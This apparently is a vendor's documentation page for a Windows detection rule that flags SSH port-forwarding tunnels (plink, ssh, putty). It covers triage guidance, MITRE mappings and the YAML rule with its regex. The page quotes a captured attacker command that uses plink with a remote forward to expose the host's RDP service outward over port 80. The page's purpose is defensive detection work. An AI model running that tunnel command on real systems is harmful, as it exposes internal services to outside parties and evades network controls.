SSH port forward tunnel

Severity criticalWindowsSingle eventstablewindows.c2.ssh_port_forward_tunnel · v1.0.0

An SSH client was run with port-forwarding flags — a tunnel that carries traffic the network is not supposed to see.

What it detects

An SSH client was run with port-forwarding flags — a tunnel that carries traffic the network is not supposed to see.

The three flags do different jobs and all three matter: * -R REMOTE forward — exposes a port on THIS machine to the attacker's server. A real capture in our benchmark corpus runs plink.exe 10.0.2.18 -P 80 -C -R 127.0.0.3:4444:127.0.0.2:3389 -l test -pw test, which publishes the host's RDP through an outbound connection on port 80. The firewall sees a web connection leaving; the operator gets a desktop. * -L LOCAL forward — reaches an internal service through this host. * -D DYNAMIC — turns the host into a full SOCKS proxy into the network.

plink.exe is the PuTTY command-line client and is a normal part of an operator's toolkit precisely because it is a signed third-party binary that copies in as a single file.

Note the destination port in that example is 80, not 22 — an SSH tunnel does not have to run on the SSH port, which is why this keys on the CLIENT INVOCATION rather than on network traffic.

MITRE ATT&CK mapping

  • T1572Protocol Tunneling· Command and Control
  • T1090Proxy· Command and Control

False positives and triage

Developers and administrators tunnel legitimately — reaching a database through a bastion is exactly -L, and this will fire on that. -R and -D are the ones that should be rare: a remote forward publishes an internal service outward, and a dynamic forward is a proxy into the network.

To confirm: read the forward specification. A target port of 3389, 445, 5985 or a database port is the finding. Then look at the SSH destination — an address outside the organisation, or reached on a port other than 22, is deliberate evasion. Credentials on the command line (-pw) mean the tunnel is automated and unattended. Check whether the account belongs to someone who administers anything.

The rule

Declarative YAML read by the detection engine — data, never executed. Confidence 85%. Source: rules/windows/ssh_port_forward_tunnel.yaml, licensed under the Apache License 2.0.

id: windows.c2.ssh_port_forward_tunnel
version: 1.0.0
status: stable
severity: critical
confidence: 0.85
platforms: [windows]
mitre_techniques: [T1572, T1090]
description: |
  An SSH client was run with port-forwarding flags — a tunnel that carries traffic
  the network is not supposed to see.

  The three flags do different jobs and all three matter:
    * `-R` REMOTE forward — exposes a port on THIS machine to the attacker's server.
      A real capture in our benchmark corpus runs
      `plink.exe 10.0.2.18 -P 80 -C -R 127.0.0.3:4444:127.0.0.2:3389 -l test -pw test`,
      which publishes the host's RDP through an outbound connection on port 80. The
      firewall sees a web connection leaving; the operator gets a desktop.
    * `-L` LOCAL forward — reaches an internal service through this host.
    * `-D` DYNAMIC — turns the host into a full SOCKS proxy into the network.

  `plink.exe` is the PuTTY command-line client and is a normal part of an operator's
  toolkit precisely because it is a signed third-party binary that copies in as a
  single file.

  Note the destination port in that example is 80, not 22 — an SSH tunnel does not
  have to run on the SSH port, which is why this keys on the CLIENT INVOCATION
  rather than on network traffic.
match:
  process_name_contains_any: [plink, ssh, putty, pscp]
  command_line_regex: '(?i)(^|\s)-[RLD]\s*\d{1,5}:|(^|\s)-[RLD]\s+\S+:\d{1,5}:'
correlation_keys: [hostname, user_name]
false_positive_guidance: |
  Developers and administrators tunnel legitimately — reaching a database through a
  bastion is exactly `-L`, and this will fire on that. `-R` and `-D` are the ones
  that should be rare: a remote forward publishes an internal service outward, and a
  dynamic forward is a proxy into the network.

  To confirm: read the forward specification. A target port of 3389, 445, 5985 or a
  database port is the finding. Then look at the SSH destination — an address outside
  the organisation, or reached on a port other than 22, is deliberate evasion.
  Credentials on the command line (`-pw`) mean the tunnel is automated and
  unattended. Check whether the account belongs to someone who administers anything.

Related detections

Run this rule on your own logs — offline

KIROSEC runs this rule and the rest of the library over Windows, Linux, macOS and cloud audit logs on the analyst's own machine. Every alert links to the events that raised it, and nothing leaves the device.

Browse all detections